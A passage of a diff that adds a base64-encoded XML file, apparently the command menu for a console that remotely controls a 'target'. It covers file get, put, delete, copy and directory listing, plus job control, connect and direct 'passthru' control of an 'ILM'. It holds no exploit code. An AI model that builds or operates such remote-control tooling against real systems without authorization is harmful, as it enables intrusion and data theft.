+cnNlbGFiZWw+UmVtb3RlIGZpbGVuYW1lPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgIDxhdHRy
+aWJ1dGU+DQogICAgICAgICAgICAgIDx0eXBlPnN0cmluZzwvdHlwZT4NCiAgICAgICAgICAgICAg
+PHNpemU+MjU1PC9zaXplPg0KICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MDIwMDAwMDk8L3By
+aW1pdGl2ZT4NCiAgICAgICAgICAgICAgPGFyZ251bWJlcj4xPC9hcmdudW1iZXI+DQogICAgICAg
+ICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAg
+ICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxuY3Vyc2VpZD5maWxlX2dldF9h
+dHRyaWJfMjwvbmN1cnNlaWQ+DQogICAgICAgICAgICA8bmN1cnNlbGFiZWw+TG9jYWwgZmlsZW5h
+bWU8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAg
+PHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICA8c2l6ZT4yNTU8L3NpemU+DQogICAg
+ICAgICAgICAgIDxwcmltaXRpdmU+MHgwMjAwMDAwOTwvcHJpbWl0aXZlPg0KICAgICAgICAgICAg
+ICA8YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAg
+ICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgIDwvcmVxdWlyZWRfYXR0cmlidXRl
+cz4NCiAgICAgICAgPG9wdGlvbmFsX2F0dHJpYnV0ZXMvPg0KICAgICAgPC9hdHRyaWJ1dGVzPg0K
+ICAgICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgIDxjb2x1
+bW4+DQogICAgICAgICAgICA8dGl0bGU+R2V0IEZpbGU8L3RpdGxlPg0KICAgICAgICAgICAgPGVs
+ZW1lbnQ+ZmlsZV9nZXRfYXR0cmliXzE8L2VsZW1lbnQ+DQogICAgICAgICAgICA8ZWxlbWVudD5m
+aWxlX2dldF9hdHRyaWJfMjwvZWxlbWVudD4NCiAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAg
+PC9zZWN0aW9uPg0KICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAgIDwvY21kPg0KICAgIDxjbWQg
+dGl0bGU9InB1dCI+DQogICAgICA8aGVscHRleHQ+Q29waWVzIGEgbWFzcyBzdG9yYWdlIGZpbGUg
+ZnJvbSB0aGUgbG9jYWwgY29tbWFuZCBwb3N0IHdvcmtzdGF0aW9uIGludG8gc3RvcmFnZSBvbiB0
+aGUgdGFyZ2V0LiBCb3RoIGZpbGVuYW1lcyBtYXkgaW5jbHVkZSBwYXRoIHNwZWNpZmljYXRpb25z
+IGFwcHJvcHJpYXRlIGZvciB0aGUgb3BlcmF0aW5nIHN5c3RlbXMgb24gdGhlIGNvbW1hbmQgcG9z
+dCB3b3Jrc3RhdGlvbiBhbmQgdGhlIHRhcmdldCwgcmVzcGVjdGl2ZWx5LjwvaGVscHRleHQ+DQog
+ICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAgPHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAg
+ICAgPHByaW1pdGl2ZT4weDAyMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgIDwvcmVxdWlyZWRf
+cHJpbWl0aXZlcz4NCiAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXMvPg0KICAgICAgPC9wcmlt
+aXRpdmVzPg0KICAgICAgPGF0dHJpYnV0ZXM+DQogICAgICAgIDxyZXF1aXJlZF9hdHRyaWJ1dGVz
+Pg0KICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxuY3Vyc2VpZD5m
+aWxlX3B1dF9hdHRyaWJfMTwvbmN1cnNlaWQ+DQogICAgICAgICAgICA8bmN1cnNlbGFiZWw+TG9j
+YWwgZmlsZW5hbWU8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICA8c2l6ZT4yNTU8L3Np
+emU+DQogICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwMjAwMDAwMzwvcHJpbWl0aXZlPg0KICAg
+ICAgICAgICAgICA8YXJnbnVtYmVyPjE8L2FyZ251bWJlcj4NCiAgICAgICAgICAgIDwvYXR0cmli
+dXRlPg0KICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgPGNvbW1hbmRf
+YXR0cmlidXRlPg0KICAgICAgICAgICAgPG5jdXJzZWlkPmZpbGVfcHV0X2F0dHJpYl8yPC9uY3Vy
+c2VpZD4NCiAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5SZW1vdGUgZmlsZW5hbWU8L25jdXJzZWxh
+YmVsPg0KICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPHR5cGU+c3RyaW5n
+PC90eXBlPg0KICAgICAgICAgICAgICA8c2l6ZT4yNTU8L3NpemU+DQogICAgICAgICAgICAgIDxw
+cmltaXRpdmU+MHgwMjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICA8YXJnbnVtYmVy
+PjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgIDwvY29t
+bWFuZF9hdHRyaWJ1dGU+DQogICAgICAgIDwvcmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAg
+PG9wdGlvbmFsX2F0dHJpYnV0ZXMvPg0KICAgICAgPC9hdHRyaWJ1dGVzPg0KICAgICAgPG5jdXJz
+ZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgIDxjb2x1bW4+DQogICAgICAg
+ICAgICA8dGl0bGU+UHV0IEZpbGU8L3RpdGxlPg0KICAgICAgICAgICAgPGVsZW1lbnQ+ZmlsZV9w
+dXRfYXR0cmliXzE8L2VsZW1lbnQ+DQogICAgICAgICAgICA8ZWxlbWVudD5maWxlX3B1dF9hdHRy
+aWJfMjwvZWxlbWVudD4NCiAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgPC9zZWN0aW9uPg0K
+ICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAgIDwvY21kPg0KICAgIDxjbWQgdGl0bGU9ImRlbGV0
+ZSI+DQogICAgICA8aGVscHRleHQ+RGVsZXRlcyBhIGZpbGUgZnJvbSBzdG9yYWdlIG9uIHRoZSB0
+YXJnZXQuIFRoZSByZW1vdGUgZmlsZW5hbWUgaXMgYW55IHZhbGlkIGZpbGVuYW1lIG9uIHRoZSBz
+eXN0ZW0sIGFuZCBtYXkgY29udGFpbiBhIHBhdGggc3BlY2lmaWNhdGlvbi48L2hlbHB0ZXh0Pg0K
+ICAgICAgPHByaW1pdGl2ZXM+DQogICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAg
+ICAgIDxwcmltaXRpdmU+MHgwMjAwMDAwNTwvcHJpbWl0aXZlPg0KICAgICAgICA8L3JlcXVpcmVk
+X3ByaW1pdGl2ZXM+DQogICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzLz4NCiAgICAgIDwvcHJp
+bWl0aXZlcz4NCiAgICAgIDxhdHRyaWJ1dGVzPg0KICAgICAgICA8cmVxdWlyZWRfYXR0cmlidXRl
+cz4NCiAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8bmN1cnNlaWQ+
+ZmlsZV9kZWxfYXR0cmliXzE8L25jdXJzZWlkPg0KICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlJl
+bW90ZSBmaWxlbmFtZTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICA8YXR0cmlidXRlPg0KICAg
+ICAgICAgICAgICA8dHlwZT5zdHJpbmc8L3R5cGU+DQogICAgICAgICAgICAgIDxzaXplPjI1NTwv
+c2l6ZT4NCiAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDAyMDAwMDA1PC9wcmltaXRpdmU+DQog
+ICAgICAgICAgICAgIDxhcmdudW1iZXI+MTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgPC9hdHRy
+aWJ1dGU+DQogICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgPC9yZXF1aXJl
+ZF9hdHRyaWJ1dGVzPg0KICAgICAgICA8b3B0aW9uYWxfYXR0cmlidXRlcy8+DQogICAgICA8L2F0
+dHJpYnV0ZXM+DQogICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAgPHNlY3Rpb24+DQogICAg
+ICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgIDx0aXRsZT5EZWxldGUgRmlsZTwvdGl0bGU+DQog
+ICAgICAgICAgICA8ZWxlbWVudD5maWxlX2RlbF9hdHRyaWJfMTwvZWxlbWVudD4NCiAgICAgICAg
+ICA8L2NvbHVtbj4NCiAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0K
+ICAgIDwvY21kPg0KICAgIDxjbWQgdGl0bGU9ImRpciI+DQogICAgICA8aGVscHRleHQ+UmV0cmll
+dmVzIGEgZGlyZWN0b3J5IGxpc3RpbmcgZnJvbSB0aGUgdGFyZ2V0LCBhbmQgYWxzbyBkaXNwbGF5
+cyB0aGUgYXZhaWxhYmxlIGZyZWUgc3BhY2UuPC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRpdmVz
+Pg0KICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4
+MDIwMDAwMDc8L3ByaW1pdGl2ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAg
+ICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcy8+DQogICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICA8
+YXR0cmlidXRlcz4NCiAgICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgPGNv
+bW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPG5jdXJzZWlkPmZpbGVfZGlyX2F0dHJpYl8x
+PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5QYXRobmFtZTwvbmN1cnNlbGFi
+ZWw+DQogICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICA8dHlwZT5zdHJpbmc8
+L3R5cGU+DQogICAgICAgICAgICAgIDxzaXplPjI1NTwvc2l6ZT4NCiAgICAgICAgICAgICAgPHBy
+aW1pdGl2ZT4weDAyMDAwMDA3PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgIDxhcmdudW1iZXI+
+MTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8aGVscHRleHQ+Q2FuIGJlIGFueSB2YWxpZCBw
+YXRoIG9uIHRoZSB0YXJnZXQuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgIDwvYXR0cmlidXRlPg0K
+ICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgIDwvcmVxdWlyZWRfYXR0cmli
+dXRlcz4NCiAgICAgICAgPG9wdGlvbmFsX2F0dHJpYnV0ZXMvPg0KICAgICAgPC9hdHRyaWJ1dGVz
+Pg0KICAgICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgIDxj
+b2x1bW4+DQogICAgICAgICAgICA8dGl0bGU+UmVtb3RlIGRpcmVjdG9yeSBsaXN0aW5nPC90aXRs
+ZT4NCiAgICAgICAgICAgIDxlbGVtZW50PmZpbGVfZGlyX2F0dHJpYl8xPC9lbGVtZW50Pg0KICAg
+ICAgICAgIDwvY29sdW1uPg0KICAgICAgICA8L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlv
+dXQ+DQogICAgPC9jbWQ+DQogICAgPGNtZCB0aXRsZT0iY29weSI+DQogICAgICA8aGVscHRleHQ+
+Q29waWVzIGEgZmlsZSBvbiB0aGUgdGFyZ2V0IGZyb20gb25lIGxvY2F0aW9uIHRvIGFub3RoZXIu
+PC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICA8cmVxdWlyZWRfcHJpbWl0
+aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MDIwMDAwMDY8L3ByaW1pdGl2ZT4NCiAgICAg
+ICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcy8+
+DQogICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICA8YXR0cmlidXRlcz4NCiAgICAgICAgPHJlcXVp
+cmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAg
+ICAgPG5jdXJzZWlkPmZpbGVfY29weV9hdHRyaWJfMTwvbmN1cnNlaWQ+DQogICAgICAgICAgICA8
+bmN1cnNlbGFiZWw+UmVtb3RlIGZpbGVuYW1lPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgIDxh
+dHRyaWJ1dGU+DQogICAgICAgICAgICAgIDx0eXBlPnN0cmluZzwvdHlwZT4NCiAgICAgICAgICAg
+ICAgPHNpemU+MjU1PC9zaXplPg0KICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MDIwMDAwMDY8
+L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgPGFyZ251bWJlcj4xPC9hcmdudW1iZXI+DQogICAg
+ICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAg
+ICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxuY3Vyc2VpZD5maWxlX2Nv
+cHlfYXR0cmliXzI8L25jdXJzZWlkPg0KICAgICAgICAgICAgPG5jdXJzZWxhYmVsPk5ldyByZW1v
+dGUgZmlsZW5hbWU8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICA8c2l6ZT4yNTU8L3Np
+emU+DQogICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwMjAwMDAwNjwvcHJpbWl0aXZlPg0KICAg
+ICAgICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgIDwvYXR0cmli
+dXRlPg0KICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgIDwvcmVxdWlyZWRf
+YXR0cmlidXRlcz4NCiAgICAgICAgPG9wdGlvbmFsX2F0dHJpYnV0ZXMvPg0KICAgICAgPC9hdHRy
+aWJ1dGVzPg0KICAgICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAg
+ICAgIDxjb2x1bW4+DQogICAgICAgICAgICA8dGl0bGU+Q29weSBmaWxlPC90aXRsZT4NCiAgICAg
+ICAgICAgIDxlbGVtZW50PmZpbGVfY29weV9hdHRyaWJfMTwvZWxlbWVudD4NCiAgICAgICAgICAg
+IDxlbGVtZW50PmZpbGVfY29weV9hdHRyaWJfMjwvZWxlbWVudD4NCiAgICAgICAgICA8L2NvbHVt
+bj4NCiAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAgIDwvY21k
+Pg0KICAgIDxjbWQgdGl0bGU9Imxpc3QiPg0KICAgICAgPGhlbHB0ZXh0Pkxpc3RzIHRoZSBmaWxl
+c3lzdGVtcyB1c2VkIG9uIHRoZSBkZXZpY2UuPC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRpdmVz
+Pg0KICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4
+MDIwMDAwMDg8L3ByaW1pdGl2ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAg
+ICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcy8+DQogICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICA8
+bmN1cnNlc2xheW91dD4NCiAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgPGNvbHVtbj4NCiAg
+ICAgICAgICAgIDx0aXRsZT5GaWxlIExpc3Q8L3RpdGxlPg0KICAgICAgICAgIDwvY29sdW1uPg0K
+ICAgICAgICA8L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgPC9jbWQ+DQog
+IDwvY21kZ3JwPg0KICA8Y21kZ3JwIHRpdGxlPSJpbG0iPg0KICAgIDxjbWRncnAgdGl0bGU9Impv
+YiI+DQogICAgICA8Y21kIHRpdGxlPSJsaXN0Ij4NCiAgICAgICAgPGhlbHB0ZXh0Pkxpc3RzIHRo
+ZSBwZW5kaW5nIGpvYnMgYmVpbmcgcHJvY2Vzc2VkLCBzaG93aW5nIGEgdW5pcXVlIGlkZW50aWZp
+ZXIgZm9yIGVhY2guPC9oZWxwdGV4dD4NCiAgICAgICAgPHByaW1pdGl2ZXM+DQogICAgICAgICAg
+PHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgICA8cHJpbWl0aXZlPjB4MDMwMDAwMDU8
+L3ByaW1pdGl2ZT4NCiAgICAgICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAg
+PG9wdGlvbmFsX3ByaW1pdGl2ZXMvPg0KICAgICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICAgIDxu
+Y3Vyc2VzbGF5b3V0Pg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4N
+CiAgICAgICAgICAgICAgPHRpdGxlPklMTSBqb2JfbGlzdDwvdGl0bGU+DQogICAgICAgICAgICA8
+L2NvbHVtbj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgIDwvbmN1cnNlc2xheW91dD4N
+CiAgICAgIDwvY21kPg0KICAgICAgPGNtZCB0aXRsZT0iY2FuY2VsIj4NCiAgICAgICAgPGhlbHB0
+ZXh0PkNhbmNlbHMgYSBwZW5kaW5nIGpvYi48L2hlbHB0ZXh0Pg0KICAgICAgICA8cHJpbWl0aXZl
+cz4NCiAgICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICAgIDxwcmltaXRp
+dmU+MHgwMzAwMDAwNjwvcHJpbWl0aXZlPg0KICAgICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZl
+cz4NCiAgICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcy8+DQogICAgICAgIDwvcHJpbWl0aXZl
+cz4NCiAgICAgICAgPGF0dHJpYnV0ZXM+DQogICAgICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXM+
+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxuY3Vyc2Vp
+ZD5JTE1fam9iX2NhbmNlbF9hdHRyaWJfMTwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vy
+c2VsYWJlbD5Kb2IgSUQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0K
+ICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6
+ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MDMwMDAwMDY8L3ByaW1p
+dGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE8L2FyZ251bWJlcj4NCiAgICAgICAg
+ICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAg
+ICAgICAgIDwvcmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgICA8b3B0aW9uYWxfYXR0cmli
+dXRlcy8+DQogICAgICAgIDwvYXR0cmlidXRlcz4NCiAgICAgICAgPG5jdXJzZXNsYXlvdXQ+DQog
+ICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8
+dGl0bGU+SUxNIGpvYl9jYW5jZWw8L3RpdGxlPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5JTE1f
+am9iX2NhbmNlbF9hdHRyaWJfMTwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAg
+ICAgICAgIDwvc2VjdGlvbj4NCiAgICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAgICAgPC9jbWQ+
+DQogICAgPC9jbWRncnA+DQogICAgPGNtZCB0aXRsZT0ic3RhdHVzIj4NCiAgICAgIDxoZWxwdGV4
+dD5TaG93cyBzdGF0aXN0aWNzIGFib3V0IHRoZSBJTE08L2hlbHB0ZXh0Pg0KICAgICAgPHByaW1p
+dGl2ZXM+DQogICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxwcmltaXRp
+dmU+MHgwMzAwMDAwMDwvcHJpbWl0aXZlPg0KICAgICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+
+DQogICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzLz4NCiAgICAgIDwvcHJpbWl0aXZlcz4NCiAg
+ICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICA8Y29sdW1u
+Pg0KICAgICAgICAgICAgPHRpdGxlPklMTSBTdGF0dXM8L3RpdGxlPg0KICAgICAgICAgIDwvY29s
+dW1uPg0KICAgICAgICA8L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgPC9j
+bWQ+DQogICAgPGNtZCB0aXRsZT0ic2hvdyI+DQogICAgICA8aGVscHRleHQ+U2hvd3MgY3VycmVu
+dCBzZXR0aW5ncyBhbmQgdmVyc2lvbiBpbmZvcm1hdGlvbiBhYm91dCB0aGUgSUxNLjwvaGVscHRl
+eHQ+DQogICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAgPHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQog
+ICAgICAgICAgPHByaW1pdGl2ZT4weDAzMDAwMDAxPC9wcmltaXRpdmU+DQogICAgICAgIDwvcmVx
+dWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXMvPg0KICAgICAg
+PC9wcmltaXRpdmVzPg0KICAgICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0K
+ICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICA8dGl0bGU+SUxNIFNob3c8L3RpdGxlPg0K
+ICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICA8L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNs
+YXlvdXQ+DQogICAgPC9jbWQ+DQogICAgPGNtZCB0aXRsZT0iZGlhZ25vc3RpYyI+DQogICAgICA8
+aGVscHRleHQ+U2V0cyB0aGUgZGVidWcgbGV2ZWwgb2YgdGhlIHRvb2wuPC9oZWxwdGV4dD4NCiAg
+ICAgIDxwcmltaXRpdmVzPg0KICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAg
+ICA8cHJpbWl0aXZlPjB4MDMwMDAwMDc8L3ByaW1pdGl2ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9w
+cmltaXRpdmVzPg0KICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcy8+DQogICAgICA8L3ByaW1p
+dGl2ZXM+DQogICAgICA8YXR0cmlidXRlcz4NCiAgICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXM+
+DQogICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPG5jdXJzZWlkPklM
+TV9kaWFnbm9zdGljX2xldmVsX2F0dHJpYl8xPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgIDxuY3Vy
+c2VsYWJlbD5MZXZlbDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICA8YXR0cmlidXRlPg0KICAg
+ICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgIDxzaXplPjExPC9z
+aXplPg0KICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MDMwMDAwMDc8L3ByaW1pdGl2ZT4NCiAg
+ICAgICAgICAgICAgPGFyZ251bWJlcj4xPC9hcmdudW1iZXI+DQogICAgICAgICAgICA8L2F0dHJp
+YnV0ZT4NCiAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICA8L3JlcXVpcmVk
+X2F0dHJpYnV0ZXM+DQogICAgICAgIDxvcHRpb25hbF9hdHRyaWJ1dGVzLz4NCiAgICAgIDwvYXR0
+cmlidXRlcz4NCiAgICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAgICA8c2VjdGlvbj4NCiAgICAg
+ICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgPHRpdGxlPklMTSBEaWFnbm9zdGljIExldmVsPC90
+aXRsZT4NCiAgICAgICAgICAgIDxlbGVtZW50PklMTV9kaWFnbm9zdGljX2xldmVsX2F0dHJpYl8x
+PC9lbGVtZW50Pg0KICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICA8L3NlY3Rpb24+DQogICAg
+ICA8L25jdXJzZXNsYXlvdXQ+DQogICAgPC9jbWQ+DQogICAgPGNtZCB0aXRsZT0iZXhpdCI+DQog
+ICAgICA8aGVscHRleHQ+RGlzY29ubmVjdHMgZnJvbSB0aGUgaG9zdGVkIGRldmljZS48L2hlbHB0
+ZXh0Pg0KICAgICAgPHByaW1pdGl2ZXM+DQogICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVzPg0K
+ICAgICAgICAgIDxwcmltaXRpdmU+MHgwMzAwMDAwODwvcHJpbWl0aXZlPg0KICAgICAgICA8L3Jl
+cXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzLz4NCiAgICAg
+IDwvcHJpbWl0aXZlcz4NCiAgICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAgICA8c2VjdGlvbj4N
+CiAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgPHRpdGxlPklMTSBleGl0PC90aXRsZT4N
+CiAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgPC9uY3Vyc2Vz
+bGF5b3V0Pg0KICAgIDwvY21kPg0KICAgIDxjbWQgdGl0bGU9InBhc3N0aHJ1Ij4NCiAgICAgIDxo
+ZWxwdGV4dD5QYXNzZXMgc3RkaW4gYW5kIHN0ZG91dCB0byB0aGUgSUxNLCBnaXZpbmcgdGhlIG9w
+ZXJhdG9yIGRpcmVjdCBjb250cm9sIG9mIHRoZSBJTE0uPC9oZWxwdGV4dD4NCiAgICAgIDxwcmlt
+aXRpdmVzPg0KICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0
+aXZlPjB4MDMwMDAwMDk8L3ByaW1pdGl2ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVz
+Pg0KICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcy8+DQogICAgICA8L3ByaW1pdGl2ZXM+DQog
+ICAgICA8YXR0cmlidXRlcy8+DQogICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAgPHNlY3Rp
+b24+DQogICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgIDx0aXRsZT5QYXNzdGhydTwvdGl0
+bGU+DQogICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgIDwvc2VjdGlvbj4NCiAgICAgIDwvbmN1
+cnNlc2xheW91dD4NCiAgICA8L2NtZD4NCiAgICA8Y21kIHRpdGxlPSJjb25uZWN0Ij4NCiAgICAg
+IDxoZWxwdGV4dD5Db25uZWN0cyB0byB0aGUgdGFyZ2V0LjwvaGVscHRleHQ+DQogICAgICA8cHJp
+bWl0aXZlcz4NCiAgICAgICAgPHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgPHByaW1p
+dGl2ZT4weDAzMDAwMDAyPC9wcmltaXRpdmU+DQogICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZl
+cz4NCiAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXMvPg0KICAgICAgPC9wcmltaXRpdmVzPg0K
+ICAgICAgPGF0dHJpYnV0ZXM+DQogICAgICAgIDxyZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAg
